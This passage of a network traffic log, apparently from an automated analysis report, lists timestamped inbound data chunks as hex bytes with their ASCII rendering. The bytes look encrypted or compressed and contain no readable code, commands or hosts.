Ascii: fIAFs&k;a^yWG%sVu2TmlW~BhV3V[?5']r6xa,kbIe6fisO)/7MyTUVSo-Y$z$Q$t#3zQr~g~GV-HUL"53GXo );G%#@oi=
2023-03-17 14:07:55 UTC	1760	IN	Data Raw: 18 18 36 7b 9d d0 ba b5 1d d2 d2 be 61 aa d6 63 8c 44 52 d5 16 ef 3f 44 3e ae a3 52 bb 9f f9 49 f9 9c 13 e3 68 e4 e4 f7 38 dc f4 de cc fe b4 68 ac 17 53 c1 01 0a ed f3 27 68 60 38 27 24 d6 66 84 3c e4 9d 5b 05 3a a8 5e a6 87 fe 3b 75 d4 b8 b0 8b 1f 47 6c ed 5f 14 8b 09 92 bb d6 55 d8 5c c1 0d 4c 7c ec 76 3c d8 24 0e 19 f8 db 67 b1 87 f8 3e d5 dc 01 4b fc 95 5e c5 47 fe c7 ed 74 39 2f cd 31 36 7a ef 0f ed 8d 1b 38 dc f7 68 1b 5c 80 3c 73 c5 a5 16 c2 65 91 da b3 19 f9 58 d2 fd 6a 29 55 d7 03 28 1a 15 6d fd f5 39 c8 c2 e5 f8 80 64 4a 81 e9 ff 7a 52 b1 ad 0e 9b 9f ac e9 d6 de e2 56 e6 4a 93 31 f6 89 45 d8 0b 4c 94 28 37 b5 f3 18 28 99 11 5b 80 35 f3 ff 44 cc 15 a0 fa 0a 0c d6 ae 5c ff e8 cf b3 93 ba cc 30 09 f0 ac ca 98 75 34 87 a9 06 a2 56 d4 71 55 09 6b 7e Data Ascii: 6{acDR?D>RIh8hS'h`8'$f<[:^;uGl_U\L\|v<$g>K^Gt9/16z8h\<seXj)U(m9dJzRVJ1EL(7([5D\0u4VqUk~
2023-03-17 14:07:55 UTC	1776	IN	Data Raw: 79 f1 e1 25 c3 8b 5d 3e 81 fa 39 f3 de b1 f6 0e 0d 1c 28 46 97 6f 5c e6 38 01 8b f3 ae b9 6b 03 a9 aa d9 99 05 e8 4e 4f f9 26 7c e8 3e 02 35 d0 6d 63 5f 9d b4 87 04 1c 31 c5 00 ee 6c 5a 29 d0 e1 77 bb ce 75 27 d6 e2 6b 9e 16 83 61 18 3f a5 ff 60 1d 71 fa bb d7 d9 85 e4 03 18 83 6b 72 b9 18 95 35 da db d7 1a 92 08 55 41 38 f1 ab 1a 4d 78 8f 31 6f 5b 8e 54 ea f4 08 d2 bc fc 89 de 1d 13 8b d4 8a e3 c2 84 8b 55 34 6c c4 62 ae 1f c1 49 7d b4 4d ee 12 71 1d 84 33 07 cf 27 4a 4a 09 df 84 45 83 99 91 e8 4e 2b 8b cf 6a 10 95 90 c0 3b a8 e3 20 7f 35 ff fb 20 e8 c3 54 b7 8c c7 fc 93 6b 47 72 32 1e ae 00 93 4c b7 78 fd 5f 23 47 4d 54 0e 3b b5 bc 28 b8 fa 80 3b 77 8c 97 68 44 96 02 eb da 74 17 20 83 e9 e9 d0 3d b4 bc 77 4d 68 79 de c2 36 91 ae e3 1a 63 b6 17 66 1d 3d Data Ascii: y%]>9(Fo\8kNO&\|>5mc_1lZ)wu'ka?`qkr5UA8Mx1o[TU4lbI}Mq3'JJEN+j; 5 TkGr2Lx_#GMT;(;whDt =wMhy6cf=
2023-03-17 14:07:55 UTC	1792	IN	Data Raw: 52 e1 4d 78 f2 09 84 6f 7a a9 9d 9a 00 42 f4 bc 73 94 21 90 3f 61 13 c7 77 a2 66 2c 56 eb e1 d6 96 97 9b d3 86 df c9 52 f3 67 9e d8 bb 64 47 2a cd c3 75 60 17 14 25 ba 70 63 4c 69 84 6d 6d 7f 78 f0 be 69 40 ca 7d 2e 2a 7b 85 df e8 d1 d1 6f f6 11 a0 fd 92 6e 2d f6 d0 aa 49 ee d3 e5 68 71 b4 7b 39 fd 00 2a b4 c5 47 e2 b7 7c df 03 cb 32 0a 97 ad de ac 0d 07 de bb 07 75 7b 38 ab 34 c7 e5 3a e8 bc 77 9e c0 da c0 44 62 55 00 4d 44 a7 f2 5b 0d 89 a9 83 c8 75 27 80 0d 52 76 db ed e3 1c ea b5 d4 08 93 b0 fb bf 29 3e 5b 80 06 a2 4a 85 f3 94 c7 8c 84 07 d8 4d 5f 81 9c 9a 87 54 e6 5b 41 61 bc 13 09 7f 88 b4 7e 56 ff ad 0f 09 f1 ee 66 3f 9e 94 10 e0 82 d5 72 a6 77 e0 62 e0 7c dc fe a7 ca 02 7e 96 84 af a1 81 9d da 99 a5 51 e6 e9 01 b2 2a d8 db c4 93 4f 31 f5 72 92 6e Data Ascii: RMxozBs!?awf,VRgdGu`%pcLimmxi@}.{on-Ihq{9G\|2u{84:wDbUMD[u'Rv)>[JM_T[Aa~Vf?rwb\|~QO1rn
2023-03-17 14:07:55 UTC	1808	IN	Data Raw: 98 39 fe cf bb 1c e2 4a 9f 64 1c fc 61 95 d3 1d 2d 25 a0 81 eb a1 6f f8 e4 0c e6 3a a0 19 4d e7 88 b5 18 8d ba ad ac 61 e7 5b 7b 08 a7 a1 3e 11 5b 9d ba af b8 1c 78 12 c7 86 33 09 49 b1 8e c4 5d 28 31 2e 90 9c 4d 7e c4 f3 40 75 fa 04 05 36 ed 40 34 d0 a2 28 ce 42 a6 6e dd 83 43 d6 66 d0 8f 7f fc 2b 14 03 6a bd 87 39 57 11 aa 21 59 59 74 1b a6 f3 04 c2 26 ba 6b b0 71 d9 9b 99 f5 b2 cb f0 7f 83 d9 0c ff 7a 75 61 df e8 ea e4 70 82 53 be b2 7c 01 ee 80 3b 37 5e 9c 8e 24 79 2a 53 d4 91 9a 1d b4 71 d9 f1 b2 d2 2b ea c8 dd 54 1f cc 6f c4 81 d7 2a 59 c3 6b 22 4e ad 49 a2 e3 d7 b4 ca e1 99 3e 92 9a 6c 5b 64 78 ba e0 41 88 f2 c2 39 39 5d 19 9b 03 28 50 f4 9e 31 d1 49 fd b1 f9 bb 5d 50 8e 1e 05 25 73 2d 62 61 51 01 93 2a 87 fd d4 13 b2 3c 3a 45 22 a7 f6 6f 14 06 45 Data Ascii: 9Jda-%o:Ma[{>[x3I](1.M~@u6@4(BnCf+j9W!YYt&kqzuapS\|;7^$ySq+ToYk"NI>l[dxA99](P1I]P%s-baQ*<:E"oE
2023-03-17 14:07:55 UTC	1824	IN	Data Raw: 92 78 52 1b 0b 17 3d a4 9b bf ae d6 1f b5 98 29 24 7d 4b fe bb ac b7 64 c9 99 01 a4 60 88 ee aa 09 ac c1 21 38 b8 13 d2 f1 6f 91 88 bf 91 45 2f a4 e7 83 58 70 a3 a4 90 d9 c8 51 47 28 e7 b6 c8 80 01 e4 27 28 78 b8 ec ac bd 67 05 ff 2a 20 8a b8 4e 90 86 1a 79 47 38 ff 8a 5b 1a 92 cd d5 a7 d2 16 e8 aa fb 74 ce ed f7 3d 0b 0b 7a a5 39 b1 a7 58 ce 7a 1d 3f de 01 88 6b 9d 40 28 ee fa 25 46 5b 8d 04 c0 a1 78 a4 c1 bb d8 6a 97 69 65 4c a7 c9 27 08 57 f4 33 ba a8 5c f9 0e 32 bf 9d 8f f9 85 ac 98 30 be aa 4f 0f 97 b1 c2 84 45 35 95 55 4f 4a 29 c1 42 a1 84 fe b6 92 e5 78 53 c6 03 06 6b 26 89 03 5d 7f cf de a6 95 d2 87 f0 95 60 a7 28 eb 81 cf 99 fb 7c 80 77 ad 8a 25 1c 5d 56 6c c0 79 64 4d 3b a3 ca 96 14 22 d2 48 54 62 c6 24 04 9a b5 7c f5 d2 1b 83 90 a5 d3 0d 18 4c Data Ascii: xR=)$}Kd`!8oE/XpQG('(xg* NyG8[t=z9Xz?k@(%F[xjieL'W3\20OE5UOJ)BxSk&]`(\|w%]VlydM;"HTb$\|L
2023-03-17 14:07:55 UTC	1840	IN	Data Raw: 35 64 74 e3 e8 71 62 88 ac 54 fc 82 c4 b1 b6 4e 5c 29 a7 ca 9f 3e b0 5c c0 76 29 10 8e ce 6c 3f d3 e6 c9 31 f9 70 8f 45 22 02 70 62 a2 19 66 29 dd e8 3c 26 31 2f a2 7a ac 3e a8 28 c4 37 4a 9e bd e5 db a2 58 f5 d5 c6 62 83 74 d7 7d df ee 7e ba 2a 96 af 64 5d 99 00 ed 2e 67 53 3b 97 a0 99 51 e1 a3 b5 68 66 5b 22 65 47 88 3e 1f eb 08 e5 89 7b 26 6f d4 24 26 75 36 ec 13 b1 d1 6c 7c 75 80 cb 5c d5 e9 fe bd a7 51 4a f9 c6 60 c9 22 97 21 47 97 12 42 70 d5 50 5a 1c 39 79 1d 45 bb 1a fe 4f f0 ac 52 45 9e c5 0a 3e a9 ae 36 9d 88 85 61 80 5d e8 a3 41 7c b4 5d ec 74 08 04 02 d5 b3 2d e7 4a e8 19 a4 1d c0 b7 2f 4d ff 26 9c a8 19 1b 8b f3 92 95 dd 01 8d d0 61 a0 20 19 58 01 7d b1 11 bd 24 73 65 b1 39 c3 d3 3b 5e cb e7 8a f3 5e 1b 93 93 e6 37 38 50 ac c5 1b d1 9d b7 ea Data Ascii: 5dtqbTN\)>\v)l?1pE"pbf)<&1/z>(7JXbt}~*d].gS;Qhf["eG>{&o$&u6l\|u\QJ`"!GBpPZ9yEORE>6a]A\|]t-J/M&a X}$se9;^^78P
2023-03-17 14:07:55 UTC	1856	IN	Data Raw: 48 70 58 ae 24 2b 56 36 cd c9 6b 7e 3e 47 6e 92 d3 12 f8 68 9b 5f 8c 14 3e 00 43 cf ed cc e0 46 ca 84 bf ed 8a 68 be d0 1a f7 8f 8d af 42 27 eb 55 ff 43 17 3b a1 4c de f5 ef 6e b7 df 57 83 db 1e 4c 44 15 0c 96 80 11 b1 53 3a 4c a0 ae 80 14 14 79 ea 03 a3 1e aa b2 ab 83 0a e8 4a 26 40 19 cc b0 df 0b 5b 63 68 e0 4b 12 e7 f0 6f ff d6 b3 66 75 67 98 0f ea 22 d9 8e 29 70 95 d9 0f 8c ec f0 aa 8f 2c d3 4d c3 9e bd be 4f 93 ee 44 35 53 db ee 46 a6 10 54 fd b5 7b 07 8f e4 16 1a a5 c6 10 24 fa 29 eb b0 48 6d c4 a2 44 4e 22 27 0a 9a a3 97 f6 de cf ee 9b 22 5c 26 63 58 63 24 84 8a 54 a1 07 88 9a 19 7e 92 e8 4c 17 fe b5 37 b0 e7 61 40 61 13 f8 fd 6f 8d a9 9b 86 3d 52 79 58 dc 51 44 0d cb f5 e9 2f 62 b6 99 ed 36 a3 ce 40 3b f3 4b 60 89 be f4 52 6c e3 72 c8 a8 0c c0 4c Data Ascii: HpX$+V6k~>Gnh_>CFhB'UC;LnWLDS:LyJ&@[chKofug")p,MOD5SFT{$)HmDN"'"\&cXc$T~L7a@ao=RyXQD/b6@;K`RlrL
2023-03-17 14:07:55 UTC	1872	IN	Data Raw: 59 52 b2 95 cb f4 57 88 df 35 5d 0f 2a 4f 0f 40 c4 34 f5 2a 1b 92 6d 14 e6 79 ab 3a d4 b6 3e c0 52 05 59 65 e0 e5 7f bf 08 a3 98 5d 4c a4 6f a1 b6 4b a6 f0 ae 6b a9 fd 18 a9 ba 24 e2 30 75 47 9c 07 e1 99 9f 08 70 7e 4e 18 6e 43 33 36 7d f6 71 b6 f1 54 f5 c1 99 df f0 6b df f5 29 4b 61 fe 80 4c ef 80 db 16 2e b1 87 b2 4e 32 47 63 bd d2 e8 00 1a e4 7a f9 38 16 89 fa c9 0a 2e be 25 65 26 50 c8 e2 8b 9d f6 01 25 28 f6 56 4f 2f da dc c3 10 62 fe dd e6 cf 1f ce ce ec d5 45 04 78 01 c3 99 85 f4 c8 9b 65 13 2e 91 28 a9 bb 42 ad 80 2a e5 48 f4 4d 2f c7 4d ce 1a d4 91 17 9b 3b 9e 7b ce 10 d1 cf de 05 b1 ef 3b bc 32 02 a6 46 73 88 5f d0 09 a9 59 f2 4d d2 2a 51 d8 d6 6f d5 0c c7 98 63 a5 a0 88 de db 2e 0e 30 08 e3 6e 7e d7 89 23 8c 44 45 4c ff 9d ae b4 53 24 1c f9 18 Data Ascii: YRW5]O@4my:>RYe]LoKk$0uGp~NnC36}qTk)KaL.N2Gcz8.%e&P%(VO/bExe.(BHM/M;{;2Fs_YMQoc.0n~#DELS$
2023-03-17 14:07:55 UTC	1888	IN	Data Raw: 14 f0 eb 09 86 51 72 be ad ca 8c 69 a3 db 0c 7c 06 02 91 8e 4e bf da 16 c2 77 7c a1 2d af 07 f9 b3 40 7d 76 c6 f4 9d f1 98 b0 14 a9 58 79 b9 97 f6 ec fc 1b 56 00 41 1c c5 19 2f ec 03 b1 12 a3 c4 0c ba 1a e3 cf 1e 58 f2 63 5b ac dd a7 eb 05 a1 0d bd 65 d2 11 2f 02 9e 33 0d bb 51 68 86 1e 12 e9 c2 34 ea 0d 88 0d 3e a9 b6 72 f6 a2 49 5a 08 a6 c9 0d be 57 58 fc 21 73 3c 9f 69 e3 75 81 c2 25 5a 03 36 c7 93 45 43 b0 0d 46 ef e0 6e 76 30 86 58 cb 19 73 e9 96 a1 d3 29 8e e5 53 ec 5d d1 76 16 58 90 ef 11 29 6d 19 4e 68 2a 4a f9 78 5d b5 77 7f 03 e6 f4 9d 39 1a 75 0d 37 e3 64 9f 34 ea 48 0c 94 c7 6c 89 05 c8 09 e5 1e ba 99 41 7e 37 ff cd f0 28 23 c6 2f 08 18 1e 99 96 39 83 46 ae 9f 62 ed ab 89 f9 fc a4 1d c9 2c 81 f4 8e 3a fd e1 96 8f 04 c6 06 b7 d5 74 b0 f7 11 d9 Data Ascii: Qri\|Nw\|-@}vXyVA/Xc[e/3Qh4>rIZWX!s<iu%Z6ECFnv0Xs)S]vX)mNh*Jx]w9u7d4HlA~7(#/9Fb,:t
2023-03-17 14:07:55 UTC	1904	IN	Data Raw: 4b 00 3a 86 b1 c2 35 45 d4 79 2f 64 49 7e 60 4c 41 74 05 4b 98 98 54 0e 88 8b c2 09 4c d5 da f7 95 68 86 de 84 be 20 ff 95 0c 8f 38 12 46 a5 a5 a8 41 02 c5 cd e5 79 fd d6 19 4c 91 9b 44 be 99 69 5c d3 68 ed 1d 63 23 b1 c5 8c b2 4b 6f bc b7 5b 55 22 f7 62 36 09 4e 96 52 9f 1a 6d a6 cc b3 68 26 66 fe 8e dd c1 af 95 96 fb 02 46 bd 75 7c 5f f3 3f f3 1b 0b 43 9d 36 f4 5e 78 09 85 10 54 c4 25 a4 1b 54 15 de ab f0 20 57 96 4a 80 a8 59 aa 49 b0 77 4f 0b c9 21 58 51 ab b5 3b 75 fb 67 7d 91 37 a2 3a 21 6f 75 42 a0 ba 22 fb d9 ff 3c 1d 56 3c cc bb 4b ab df 83 2d 1d b4 12 4a 83 72 d4 8a fe 40 78 d4 74 c4 bf bf eb 48 f8 51 f9 73 3b 3a ea 46 b7 b7 5c 22 33 fe b6 1e 0c 01 35 fe 03 c0 68 99 cd b1 e7 77 c2 93 cb e7 14 a6 4b b2 90 80 1e 08 44 6e 2d 1b e5 eb 0c 50 91 f2 53 Data Ascii: K:5Ey/dI~`LAtKTLh 8FAyLDi\hc#Ko[U"b6NRmh&fFu\|_?C6^xT%T WJYIwO!XQ;ug}7:!ouB"<V<K-Jr@xtHQs;:F\"35hwKDn-PS
2023-03-17 14:07:55 UTC	1920	IN	Data Raw: bd 8b 9e 52 24 02 51 50 ef 53 74 77 5b d5 28 7e fe 14 44 7a 32 20 f3 25 26 9e 4b dc 43 89 ef 3e 21 e4 b9 15 aa e5 73 97 d1 81 e9 d5 10 90 81 d6 5b fb 82 e6 fc fb 1f a3 69 f0 e8 9e 46 83 45 3a 85 45 83 1a ee 84 b8 52 29 53 3e 63 79 6f 72 20 d2 1d da 19 21 2c 45 62 20 55 be 4f 58 d3 01 17 57 b6 0d bb 81 0a 6c 6b d8 f0 74 2f 4e 3f b7 7c e8 52 7e 5c 4d 5a 82 4b 99 5d e1 bc 5b 6c 41 5b a1 6f 31 72 6c 41 11 e9 4c e8 aa e9 e4 72 03 aa 4a 4d b3 5f 7a 37 f5 3e f9 94 07 e8 19 9e 43 a5 43 da 3b 4f 73 e4 ae 76 1f 09 34 98 53 42 d7 f0 ba 32 8e 1f 73 02 71 37 2f 09 51 57 9d 8a 85 ef f5 76 55 ba 99 76 d4 2f e6 77 c8 d5 ca 4c 2b 58 d6 6a c2 99 7c 18 03 26 e0 f0 a6 54 b9 84 44 b0 58 12 69 0f df ef 0a df de b6 5a 06 41 ac 1a 2f 43 d3 11 ff d4 3e b4 15 86 df 75 4d df a6 29 Data Ascii: R$QPStw[(~Dz2 %&KC>!s[iFE:ER)S>cyor !,Eb UOXWlkt/N?\|R~\MZK][lA[o1rlALrJM_z7>CC;Osv4SB2sq7/QWvUv/wL+Xj\|&TDXiZA/C>uM)
2023-03-17 14:07:55 UTC	1936	IN	Data Raw: 3d ba 39 66 59 77 80 95 cc fc 65 71 2f 39 01 15 d9 3d b8 83 09 b8 c2 2b 9a 40 76 8b 95 f2 8d 07 e3 03 4d 79 db f8 4e 9a 7f 71 be e8 ea d9 97 8c 31 fe ad 3c 86 0a 2b 4a 79 87 78 23 f8 ea ac 82 3f ff 39 db 2a 10 3a ab 06 00 e6 c3 17 ac d3 aa ba 45 23 cb aa 1c a5 37 c9 38 cb b6 8d 9e b7 04 9f 68 36 77 e9 96 7b 69 0a 63 8b c0 76 0a 03 d6 ae 93 79 d1 4e 8b bc 3e 34 25 4f f9 29 0b 88 c5 58 f7 1e b7 47 bb e1 b5 fd d8 77 ce 5b 01 64 0b 37 56 1e 1a ec 81 a9 4c 0a c8 39 a0 55 ce b4 12 9e 3e d3 0f 50 7e 77 20 74 82 56 63 85 07 75 dc fe 1c c6 ff 46 ee 50 fa 17 db e0 e2 70 4b f0 41 b8 c9 68 32 01 60 75 ed 4e 08 dd d6 d9 ad 62 07 64 03 92 6e 4e 06 ae ed b2 2e 18 4f a7 cc d6 f9 ce 6a 4a 5a 06 a1 40 32 a1 bf 4a 6f dd 4f ee 21 20 ad 55 3e d5 ff ca 06 b1 01 71 3c 2c 5d be Data Ascii: =9fYweq/9=+@vMyNq1<+Jyx#?9*:E#78h6w{icvyN>4%O)XGw[d7VL9U>P~w tVcuFPpKAh2`uNbdnN.OjJZ@2JoO! U>q<,]
2023-03-17 14:07:55 UTC	1952	IN	Data Raw: 0c 41 cf f0 8c 0d fc 08 f5 8b 1f 77 c6 43 de e5 8b 75 d8 b4 da 4b 1a 3f 5f 9e 38 80 9b ad d9 ff b1 c1 41 7a 38 89 68 ed 63 95 17 e5 db a1 88 44 72 6e 10 d6 d5 a0 f8 96 b4 3f 0d 73 63 6a ec f2 00 83 34 15 72 9e 07 a1 47 07 58 1e 82 a3 59 e6 ac 5d ca ec c4 85 41 00 a0 5e f4 81 98 d6 90 4a b2 39 e9 5d e0 96 09 ae 8a d0 fa 23 11 3b 36 a4 9e 28 a0 95 90 e9 6b fa f8 90 2c 00 c7 30 b4 1e 79 3f c3 ef 7b 69 11 a4 e1 a6 44 0d 5a bc 98 bb 6e c4 6e d3 99 88 e9 86 e9 1b 2a 6d f4 d8 ea fd c2 31 d4 8d db 42 f0 7e 3c 2e 7b 1a a9 1b 8d a0 c6 e5 c4 e8 5a 1b f2 bc 06 8a 22 73 89 de 65 ca 2c 4d 6e f9 42 13 54 d6 00 1f 0f e6 9e 9b b8 6e 01 c9 fc 91 ae 8a 34 bd b0 6f d4 98 5b 2b 61 5c d2 a6 b1 e4 bf 65 9f 4d 5d 42 06 46 ce fa e2 a2 2c 12 88 2b df 5f 10 bf c4 69 74 fd 6d 78 eb Data Ascii: AwCuK?_8Az8hcDrn?scj4rGXY]A^J9]#;6(k,0y?{iDZnn*m1B~<.{Z"se,MnBTn4o[+a\eM]BF,+_itmx
2023-03-17 14:07:55 UTC	1968	IN	Data Raw: 6b d0 c9 91 51 d0 92 9b 27 32 de c1 84 72 1e 24 ac cc 60 91 8e b4 f8 f0 84 e8 36 aa f8 83 4c dd 6d 10 b2 ea c6 73 de ca 69 35 a7 23 a7 62 ad e3 57 a4 83 06 4a 8c bc ad e3 d2 ca 22 01 7a 07 e4 9c bf 0f dd c3 1b 8d 97 14 b1 4b cd d4 2f db 40 45 b0 19 c3 b8 26 09 46 d9 bb cb 37 e1 39 9c 87 62 51 4e 28 48 15 5b d2 69 a9 60 0a c7 34 0d 8b 48 b6 e0 e0 8b 41 0b c6 5c 81 75 67 17 9e dd d5 1b c2 2c cd 18 84 51 7b 3b 0f 64 5b 46 5e 15 b7 4b 20 35 b6 96 fc 46 ce c4 6e fe 12 6c f0 84 85 15 7a e4 ab 8a b2 39 a3 f4 ea f2 98 c3 b5 3b a0 03 3f b5 cb 84 95 6c d1 9a 91 26 f5 a6 f2 03 16 fa b1 64 59 0c 9b e5 1e 2e f9 e7 04 a0 fa 65 04 24 68 4e 70 43 5d b7 51 92 88 4a 53 ba 3e 94 ab d3 db 9d 5d 9d 3a 8f 18 91 14 57 57 fc 9f 3e 4c eb 2b e9 b1 53 23 47 d1 76 9a fb 10 d9 af 34 Data Ascii: kQ'2r$`6Lmsi5#bWJ"zK/@E&F79bQN(H[i`4HA\ug,Q{;d[F^K 5Fnlz9;?l&dY.e$hNpC]QJS>]:WW>L+S#Gv4
2023-03-17 14:07:55 UTC	1984	IN	Data Raw: d2 a4 e7 e1 64 5c d9 ad 6b 18 c3 46 02 9d 2f f1 a0 d8 79 c9 4b 30 c8 35 9a 83 59 fe 9e da ff 0e 3b 1b ae 79 de 59 f9 13 24 ea a8 f0 66 36 9a e6 84 ad 4f 3f 6f 43 b8 37 23 99 35 4d b4 1c d9 5d b4 1b 33 e4 9f 00 0e 74 44 b8 5b 7c a8 66 5b c6 fd 87 24 07 cd e8 83 09 7c 62 d1 37 a4 2c e1 0b bc 19 65 37 51 60 ae f4 0a 14 a7 38 be 18 1a e7 04 03 17 fc bd db ba 34 c2 b1 de 5d 4d 15 28 0e 38 dc f8 9e 7b 9b 9e fa 5a c0 84 56 47 4c 8a 09 0b 48 4f dc 35 f0 6e 04 2c 74 d4 99 70 96 9e cc a7 11 04 7b b1 d0 91 43 bd 4f ff 32 b3 ef ec d9 bb 54 7f ae 28 32 d2 0b 5a 78 2d 27 70 70 6f 09 33 40 49 3e e8 ba 60 b1 aa 60 0b 4f 05 44 8b ce b5 aa c9 15 f5 22 f5 27 33 6c 31 52 a4 16 b6 e3 73 9f b1 ec 7f d4 f3 c3 5a 98 2e 97 2a 51 79 e4 1b be b7 4e 55 26 07 73 9a 57 ce 85 29 fe 1f Data Ascii: d\kF/yK05Y;yY$f6O?oC7#5M]3tD[\|f[$\|b7,e7Q`84]M(8{ZVGLHO5n,tp{CO2T(2Zx-'ppo3@I>``OD"'3l1RsZ.*QyNU&sW)
2023-03-17 14:07:55 UTC	2000	IN	Data Raw: ee 0d 8a 1e 22 b0 cf c2 90 ca 5e a6 05 c8 42 76 f5 0d e4 ba 05 0e 91 bc bf 92 5d b3 b1 68 a6 11 32 93 40 46 9a 67 d8 1d 1b 2e 5f 49 ec 36 01 87 1d 22 cb 3d 13 a3 86 29 28 9d bd d9 39 5c 0c 41 31 a4 2e 9f a9 84 c5 08 e8 de 8f c4 3d ce 35 f2 eb ac ac 73 09 e0 90 f0 48 7e d7 e1 f1 0d 0a 94 08 39 14 84 c4 29 fd 10 50 66 72 a1 20 d2 90 ff 5a 9e dd 7c 87 06 24 c8 cf b2 11 97 e0 0f 35 29 75 b7 9d d2 49 19 ab 6c 7e 51 ae b1 d6 7a c6 56 79 cc 7b f1 98 97 87 68 4e f2 64 3b 62 b4 f1 be 0e 5c a0 a5 10 f1 73 5d a0 2b cd 90 b1 6b f9 d3 4c 6b 95 e1 22 06 1e 23 85 e2 00 87 e9 02 7f 7c b9 db 9b 83 73 2f ce d7 ac 7d 7b fa 56 49 91 84 66 87 c4 1a a0 6a dd e6 b6 04 43 e5 52 85 45 14 77 6e e4 b6 54 5d 97 83 1a 29 e9 4a 28 34 81 22 bf 79 33 68 af 7f 6b 6e 1e 51 28 06 c0 ca af Data Ascii: "^Bv]h2@Fg._I6"=)(9\A1.=5sH~9)Pfr Z\|$5)uIl~QzVy{hNd;b\s]+kLk"#\|s/}{VIfjCREwnT])J(4"y3hknQ(
2023-03-17 14:07:55 UTC	2016	IN	Data Raw: 24 af 3e 0a 88 03 ef 03 93 3a 58 d2 b3 0a 98 20 62 90 ee bf 3b e5 96 c1 5a 3c 7c fa b7 09 b9 88 0f 11 b5 b8 a1 dc 2f 69 bd 26 57 cc 76 31 cc 8b d8 cd b6 0e ff 76 07 86 44 31 2e 90 6b 20 e5 1a 6d fb 3d bc 21 61 75 2b 7d 7f 2d ae e9 ea 09 c4 be d4 23 fc 74 f1 01 aa f1 88 da c9 86 f8 29 bd db fc ee 10 56 7e 75 bc 18 90 e6 9b 75 3f e9 04 76 7d 20 5d ab b6 b4 2f 49 c9 a4 3d af 0b db 49 90 c9 7d 03 6c 1b c4 04 94 95 27 16 52 94 6b 3a cf 42 ac 00 61 fd d4 ab 7a 11 de 63 9b 7b e2 96 1b 6f 07 b8 62 78 bd f3 25 47 7a 2e c1 d2 41 e6 15 b4 bd 9e ac 0c 55 ab ce f1 cb a1 f0 d5 14 56 f7 be c6 f6 1a 65 ef bc 20 96 c8 54 8f bd c4 cc cb ee a3 17 50 74 be 66 e3 39 af 24 95 51 f8 8d 1b 0e 88 5e 31 b6 f2 e7 d9 f6 63 20 35 60 60 dd 23 81 96 7e 0b 12 74 ae 1f af 93 d4 e1 ef 84 Data Ascii: $>:X b;Z<\|/i&Wv1vD1.k m=!au+}-#t)V~uu?v} ]/I=I}l'Rk:Bazc{obx%Gz.AUVe TPtf9$Q^1c 5``#~t
2023-03-17 14:07:55 UTC	2032	IN	Data Raw: 97 6c 10 c3 d8 4c 32 ae 97 ee 02 09 19 62 b1 01 6c 3b 62 8e dc 90 6a c8 cd 6a b3 17 aa 50 02 81 6c 9f de 7c 89 9f 7c 6f 89 ec 9c 3c 38 1d 33 91 e9 db dd e4 e4 dc 0e cd 8d a3 27 61 1e 7c ae 2d ec 66 dc 40 8c d1 85 6e b5 97 05 79 58 96 f0 08 cd ee 2c d0 6a b7 d5 e8 8c 4e 2a 92 3b 25 9d 5d a0 38 5c 8d 23 fb ff 6a 16 4b 79 88 a2 8a ee cc 8f 39 86 82 db c6 83 3a 12 81 65 85 a5 2f a3 27 a6 c0 c4 8a 4b 94 26 ed 5d 74 b4 39 cd 8f 04 e0 ac 83 1e 40 b5 3a 3a 48 e1 c3 33 b0 bd d1 ba 69 f2 0f ef fc bc b5 b9 e6 6c bb 2a e3 be 73 9e 0a 84 e8 99 c7 93 4f 47 e2 bc 74 a4 99 b1 df 5b c3 30 f4 1f 0b e9 99 7d 90 5a df 3d 28 64 9a f6 99 06 f4 d6 88 7a de b7 37 c4 4c 95 f7 25 4d 65 c8 83 ef 20 05 6b 82 56 65 e5 e5 e4 27 f6 f2 6d 6f 78 39 60 69 3f 49 91 21 ea c3 de cc ad 19 86 Data Ascii: lL2bl;bjjPl\|\|o<83'a\|-f@nyX,jN;%]8\#jKy9:e/'K&]t9@::H3ilsOGt[0}Z=(dz7L%Me kVe'mox9`i?I!
2023-03-17 14:07:55 UTC	2048	IN	Data Raw: 17 63 a6 52 1e 15 ad 87 70 cb 72 08 c1 38 92 41 7a 14 a0 8f c7 1d 39 00 e8 a0 67 c1 8a d9 e5 43 9d b3 dc 64 10 a5 29 aa f6 ab 4c 31 66 b7 66 12 39 9e d0 29 68 20 3a d2 5f b2 af cf 4f 37 1a f6 0a 23 4d c1 ad 59 4b 9d de 25 79 b9 9a e4 10 8b d1 cc df 0d 26 28 94 e1 01 be d7 6b 82 23 b8 65 4a 18 19 70 b0 6a 2a 2f 3e 61 81 a4 b0 db 0a 27 30 0e 54 8c 91 e3 67 1c 20 7f fd 22 e9 c2 c1 72 0d 41 a2 68 47 b1 36 a7 a2 f2 3b c4 c2 dc 58 77 a5 0d 9a be b4 f0 81 de bc 4d 50 66 d5 55 a7 01 48 39 4f fd e0 f5 6c 47 17 b8 c3 03 44 f7 18 64 d9 45 c1 82 fd 32 fe 46 3c e3 be f8 b6 ea 08 74 3c d3 b0 b2 14 3f f4 bf f1 87 9f 13 c0 3e ad 32 29 4e 75 3a 92 49 89 4e 98 bd e6 6a 93 98 68 78 a6 e1 6c 27 88 60 c8 da c0 30 a7 eb fd 47 1b 6d 6b 0e c2 c6 17 65 3b f1 4a a9 fc 39 3f fd 8f Data Ascii: cRpr8Az9gCd)L1ff9)h :_O7#MYK%y&(k#eJpj*/>a'0Tg "rAhG6;XwMPfUH9OlGDdE2F<t<?>2)Nu:INjhxl'`0Gmke;J9?
2023-03-17 14:07:55 UTC	2064	IN	Data Raw: 59 2e 83 09 4e f9 7f e0 b6 5c 1f 55 d1 3d 6e 6d 08 b0 a9 be 18 00 eb 6b cc a4 c5 fb 03 88 ac 50 53 08 c5 d2 73 02 5e 87 8e 55 49 1b e7 5b 47 34 87 8c a3 2f 1f a7 0b 30 87 22 83 f1 22 6c 9f 09 cd a3 97 24 f5 30 aa c9 3f ca 74 20 78 df b5 1f e8 3d 6d 79 97 a1 19 e1 c2 41 11 89 6e 90 f3 cf b6 79 f2 88 77 ed df b4 ba 59 7e 1e b4 3d be 15 a5 8a 10 37 c3 7c 3b ca 72 1e f1 ed 96 b4 e8 fb 62 31 d0 7a 97 b9 99 f9 f2 b4 29 40 b7 b8 81 6e a7 98 d6 68 1c d9 a0 b6 7f 77 11 39 d3 b4 4a 8a 73 c7 48 75 63 2b 44 3c 31 7e 57 19 56 2e 04 9a 67 ba d5 7f ff fa e8 87 7a 19 0c 1d 67 df 5d 1a 3a f0 f5 14 18 76 5d 37 ec 64 a1 a8 8f c7 d6 1c 10 2e 83 ac 43 0f 01 35 2b e1 95 be 47 2e fe 38 b2 7b 3e 38 0d bb e3 4b f6 49 17 2e 69 73 90 